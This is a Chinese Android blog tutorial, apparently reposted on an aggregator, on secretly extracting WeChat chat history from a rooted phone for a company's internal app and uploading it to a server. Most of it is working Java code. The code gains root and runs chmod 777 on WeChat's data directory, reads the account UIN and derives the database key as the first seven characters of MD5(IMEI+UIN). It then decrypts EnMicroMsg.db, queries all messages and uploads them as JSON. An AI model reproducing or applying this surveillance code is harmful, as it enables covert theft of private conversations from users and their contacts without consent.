哪个小可爱在偷偷的看我~~

前言
最近公司需要做个内部应用,需求有通话并录音上传服务器,微信聊天记录上传服务器,我擦,竟然要做严重窃取隐私的功能,一万个草泥马奔腾而来,于是乎开始研究如何实现,网上的文章都不是很详细,本篇文章带你来一步步实现如何获取微信聊天记录,通话录音上传另一篇文章将予介绍

微信的聊天记录保存在Android内核中,路径如下:
“/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db” `目录下。

说明
1、微信聊天记录数据库它并不是保存sd卡下,而是保存在内核中,手机是看不到此目录,只有root过后才可以看到,至于如何Root这里就不做介绍了,如今手机越来越趋向于安全方面,所以root比较费事
2、数据库保存在data/data目录下,我们需要访问此目录以获得我们需要的信息,直接访问权限还是不够,此时需要进一步获取root权限
3、代码打开数据库,会遇到如下几个问题
(1) 微信数据库是加密文件,需要获取密码才能打开,数据库密码为 《MD5(手机的IMEI+微信UIN)的前七位》
(2) 微信数据库路径是一长串数字,如5a670a2e0d0c10dea9c7a4a49b812ce4,文件生成规则《MD5(“mm”+微信UIN)》 ,注:mm是字符串和微信uin拼接到一起再md5
(3) 直接连接数据库微信会报异常,所以需要我们将数据库拷贝出来再进行打开
(4) 获取微信UIN,目录位置在/data/data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml中,_auth_uin字段下的value
(5) 获取数据库密码,密码规则为:MD5Until.md5("IMEI+微信UIN").substring(0, 7).toLowerCase()
4、打开加密数据库,因为微信数据是sqlite 2.0,所以需要支持2.0才可以打开,网上介绍的最多的是用这个第三方net.zetetic:android-database-sqlcipher:4.2.0@aar,但经测试不可行,后来选择用微信开源数据库com.tencent.wcdb:wcdb-android:1.0.0
5、开始查找需要的内容,剩下的就是sq语言了,聊天记录在message表中,好友在rcontact表中,群信息在chatroom表中等,根据自己需求去查找
6、为了更直观的看到表结构去操作,可以用sqlcipher去查看下载地址
开始一步步实现
1、获取root手机
有好多root工具,经过踩坑是一键root不了6.0以上手机的,大家可以去选择其他方案去获取root手机
2、项目获取微信数据库目录路径root最高权限
因为只有获取了root最高权限才可以对文件进行操作,通过Linux命令去申请chmod 777 -R
WX_ROOT_PATH="/data/data/com.tencent.mm/";
申请时调用execRootCmd("chmod 777 -R " + WeChatUtil.WX_ROOT_PATH);
方法如下

/**     * execRootCmd("chmod 777 -R /data/data/com.tencent.mm");     * 

* 执行linux指令 获取 root最高权限 */ public static void execRootCmd(String paramString) { try { Process localProcess = Runtime.getRuntime().exec("su"); Object localObject = localProcess.getOutputStream(); localDataOutputStream = new DataOutputStream((OutputStream) localObject); String str = String.valueOf(paramString); localObject = str + "\n"; localDataOutputStream.writeBytes((String) localObject); localDataOutputStream.flush(); localDataOutputStream.writeBytes("exit\n"); localDataOutputStream.flush(); localProcess.waitFor(); localObject = localProcess.exitValue(); } catch (Exception localException) { localException.printStackTrace(); }finally { if (localDataOutputStream!=null){ try { localDataOutputStream.close(); } catch (IOException e) { e.printStackTrace(); } } } }

3、拿到数据库EnMicroMsg.db路径
先看下数据库路径/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db
因为EnMicroMsg.db父级路径不同微信号是会变的,所以需要动态去获取,父级路径生成规则为**《MD5(“mm”+微信UIN)》**,下一步我们需要获取微信的uin
WX_DB_DIR_PATH=/data/data/com.tencent.mm/MicroMsg/
整体路径为WX_DB_DIR_PATH+《MD5(“mm”+微信UIN)》+/EnMicroMsg.db
4、获取微信uin
微信uin存储路径在\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml中,如图所示

拿到此文件我们需要xml文件解析才可以获得_auth_uinvalue,解析工具dom4j下载地址

/**     * 获取微信的uid     * 目标 _auth_uin     * 存储位置为\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml     */    public static String initCurrWxUin(final Activity context) {        String mCurrWxUin = null;        File file = new File(WX_SP_UIN_PATH);        try {            in = new FileInputStream(file);            SAXReader saxReader = new SAXReader();            Document document = saxReader.read(in);            Element root = document.getRootElement();            List elements = root.elements();            for (Element element : elements) {                if ("_auth_uin".equals(element.attributeValue("name"))) {                    mCurrWxUin = element.attributeValue("value");                }            }            return mCurrWxUin;        } catch (Exception e) {            e.printStackTrace();            if(MainActivity.isDebug){                Log.e("initCurrWxUin", "获取微信uid失败,请检查auth_info_key_prefs文件权限");            }            context.runOnUiThread(new Runnable() {                @Override                public void run() {                    Toast.makeText(context, "请确认是否授权root权限,并登录微信", Toast.LENGTH_SHORT).show();                }            });        }finally {            try {                if(in!=null){                    in.close();                }            } catch (IOException e) {                e.printStackTrace();            }        }        return "";    }

5、获取微信数据库密码
密码规则为MD5Until.md5("IMEI+微信UIN").substring(0, 7).toLowerCase()
上边我们已经获取了微信uin,接下来需要获取手机IMEI,
获取方法1:在手机拨号键输入:*#06# 即可获取
获取方法2:代码中获取

/**     * 获取手机的imei     *     * @return     */    @SuppressLint("MissingPermission")    private static String getPhoneIMEI(Context mContext) {        String id;        //android.telephony.TelephonyManager        TelephonyManager mTelephony = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);        if (mTelephony.getDeviceId() != null) {            id = mTelephony.getDeviceId();        } else {            //android.provider.Settings;            id = Settings.Secure.getString(mContext.getApplicationContext().getContentResolver(), Settings.Secure.ANDROID_ID);        }        return id;    }

接下来需要生成密码

/**     * 根据imei和uin生成的md5码获取数据库的密码     *     * @return     */    public static String initDbPassword(final Activity mContext) {        String imei = initPhoneIMEI(mContext);        //以为不同手机微信拿到的识别码不一样,所以需要做特别处理,可能是MEID,可能是 IMEI1,可能是IMEI2        if("868739046004754".equals(imei)){            imei = "99001184251238";        }        else if("99001184249875".equals(imei)){            imei = "868739045977497";        }        String uin = initCurrWxUin(mContext);        if(BaseApp.isDebug){            Log.e("initDbPassword", "imei===" + imei);            Log.e("initDbPassword", "uin===" + uin);        }        try {            if (TextUtils.isEmpty(imei) || TextUtils.isEmpty(uin)) {                if(BaseApp.isDebug){                    Log.e("initDbPassword", "初始化数据库密码失败:imei或uid为空");                }                mContext.runOnUiThread(new Runnable() {                    @Override                    public void run() {                        Toast.makeText(mContext, "请确认是否授权root权限,并登录微信", Toast.LENGTH_SHORT).show();                    }                });                return "";            }            String md5 = Md5Utils.md5Encode(imei + uin);            String password = md5.substring(0, 7).toLowerCase();            if(BaseApp.isDebug){                Log.e("initDbPassword", password);            }            return password;        } catch (Exception e) {            if(BaseApp.isDebug){                Log.e("initDbPassword", e.getMessage());            }        }        return "";    }

6、复制数据库
为啥要复制数据库呢?因为直接去链接数据库微信会奔溃,所以我们需要将数据库拷贝出来再进行操作
踩坑1:数据库复制的路径也需要获取root权限,即Linux 的chmod 777 -R去申请
踩坑2:复制的路径如果是二级目录,需要一级一级去申请
于是我直接放到根目录下了copyPath = Environment.getExternalStorageDirectory().getPath() + "/";
再获取root最高权限execRootCmd("chmod 777 -R " + copyPath);
path=/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db
复制数据库 FileUtilCopy.copyFile(path, copyFilePath);

public class FileUtilCopy {    private static FileOutputStream fs;    private static InputStream inStream;    /**     * 复制单个文件     *     * @param oldPath String 原文件路径 如:c:/fqf.txt     * @param newPath String 复制后路径 如:f:/fqf.txt     * @return boolean     */    public static void copyFile(String oldPath, String newPath) {        try {            int byteRead = 0;            File oldFile = new File(oldPath);            //文件存在时            if (oldFile.exists()) {                //读入原文件                inStream = new FileInputStream(oldPath);                fs = new FileOutputStream(newPath);                byte[] buffer = new byte[1444];                while ((byteRead = inStream.read(buffer)) != -1) {                    fs.write(buffer, 0, byteRead);                }            }        } catch (Exception e) {            if (BaseApp.isDebug) {                Log.e("copyFile", "复制单个文件操作出错");            }            e.printStackTrace();        } finally {            try {                if (inStream != null) {                    inStream.close();                }                if (fs != null) {                    fs.close();                }            } catch (IOException e) {                e.printStackTrace();            }        }    }}

7、打开数据库
注:网上好多介绍都是用net.zetetic:android-database-sqlcipher:4.2.0@aar去打开的,但经过测试打不开
于是用了微信自家开源的数据库打开了com.tencent.wcdb:wcdb-android:1.0.0,微信还是对自家人友善

 /**     * 连接数据库     */    public void openWxDb(File dbFile, final Activity mContext, String mDbPassword) {        SQLiteCipherSpec cipher = new SQLiteCipherSpec()  // 加密描述对象                .setPageSize(1024)        // SQLCipher 默认 Page size 为 1024                .setSQLCipherVersion(1);  // 1,2,3 分别对应 1.x, 2.x, 3.x 创建的 SQLCipher 数据库        try {            //打开数据库连接            System.out.println(dbFile.length() + "================================");            SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(                    dbFile,     // DB 路径                    mDbPassword.getBytes(),  // WCDB 密码参数类型为 byte[]                    cipher,                 // 上面创建的加密描述对象                    null,                   // CursorFactory                    null                    // DatabaseErrorHandler                    // SQLiteDatabaseHook 参数去掉了,在cipher里指定参数可达到同样目的            );            //获取消息记录            getReMessageData(db);        } catch (Exception e) {            Log.e("openWxDb", "读取数据库信息失败" + e.toString());            runOnUiThread(new Runnable() {                @Override                public void run() {                    showToast("读取数据库信息失败");                    L.e("读取数据库信息失败");                }            });        }    }

8、演示获取微信聊天记录并上传
可以让后台保存最后上传时间,下次上传新消息时用最后时间取查
注:微信数据库时间精确到毫秒

String messageSql = "select * from message where  createTime >";    /**     * 获取聊天记录并上传     *     * @param db     */    public void getReMessageData(SQLiteDatabase db) {        Cursor cursor3 = null;        if (BaseApp.isDebug) {//            Log.e("query查询分割时间", DateUtil.timeStamp2Date(longLastUpdateTime + EMPTY));        }        try {            //判断是否强制更新所有的记录            if (mLastTime == 0) {                //如果是选择全部,则sql 为0                if (true) {                    cursor3 = db.rawQuery(messageSql + 0, null);                    Log.e("query", "更新状态:更新全部记录" + messageSql + 0);                } else {                    //不是选择全部,则sql 为用户输入值//                    String searchMessageSql = messageSql + addTimestamp+ "  and createTime < "+endTimestamp;//                    cursor3 = db.rawQuery(searchMessageSql, null);//                    Log.e("query", "更新状态:更新选择的全部记录" + searchMessageSql);                }            } else {                Log.e("query", "按时间节点查询" + messageSql +mLastTime);                cursor3 = db.rawQuery((messageSql + mLastTime), null);//                Log.e("query", "更新状态:增量更新部分记录" + messageSql + longLastUpdateTime);            }            List weChatMessageBeans = new ArrayList<>();            while (cursor3.moveToNext()) {                String content = cursor3.getString(cursor3.getColumnIndex("content"));                if (content != null && !TextUtils.isEmpty(content)) {                    WeChatMessageBean messageBean = new WeChatMessageBean();                    String msg_id = cursor3.getString(cursor3.getColumnIndex("msgId"));                    int type = cursor3.getInt(cursor3.getColumnIndex("type"));                    int status = cursor3.getInt(cursor3.getColumnIndex("status"));                    int is_send = cursor3.getInt(cursor3.getColumnIndex("isSend"));                    String create_time = cursor3.getString(cursor3.getColumnIndex("createTime"));                    String talker = cursor3.getString(cursor3.getColumnIndex("talker"));                    messageBean.setMsg_id(msg_id);                    messageBean.setType(type);                    messageBean.setStatus(status);                    messageBean.setIs_send(is_send);                    messageBean.setCreate_time(create_time);                    messageBean.setContent(content);                    messageBean.setTalker(talker);                    weChatMessageBeans.add(messageBean);                }            }            if (weChatMessageBeans.size() < 1) {                L.e("当前无最新消息>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>");                return;            }            //3.把list或对象转化为json            Gson gson2 = new Gson();            String str = gson2.toJson(weChatMessageBeans);            if (BaseApp.isDebug) {                Logger.json(str);            }            //上传服务器            mPresenter.getWechatRecordSuccess(str);        } catch (Exception e) {            Log.e("openWxDb", "读取数据库信息失败" + e.toString());            runOnUiThread(new Runnable() {                @Override                public void run() {                    L.e("读取数据库信息失败");                    showToast("读取数据库信息失败");                }            });        } finally {            if (cursor3 != null) {                cursor3.close();            }            if (db != null) {                db.close();            }        }    }

9、pc端更直观去查看数据库结构可通过sqlcipher去查看下载地址
"/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db"
将数据库EnMicroMsg.db拷贝到电脑上
用SQLit打开




最后祝大家开发愉快!

更多相关文章

  1. Android(安卓)解析后台返回为Json数据的简单例子!!!
  2. Android(安卓)Google Map实例 - 获取cdma基站经纬度(Android(安
  3. android高亮引导页
  4. Journey of Android(安卓)for Mac
  5. Android(安卓)获取Root权限之后的静默安装实现 代码示例分析
  6. Android(安卓)MediaStore仿微信朋友圈获取图片及视频
  7. 在Ubuntu下获取Android4.0源代码并编译
  8. android 完整地操作数据库--日记本实例
  9. Android获取父类容器中控件的方法

随机推荐

  1. android 之 adb shell的使用
  2. H5判断 移动端 是android还是ios
  3. Eclipse 连接 MUMU模拟器
  4. AndroidR系统启动详细分析-学习笔记
  5. Activity配置属性
  6. C盘瘦身
  7. android 学习笔记: manifest.xml中声明多
  8. Android(安卓)屏幕适配解决方案
  9. 如何启用Google Play App签名
  10. http://www.jb51.net/list/list_233_2.ht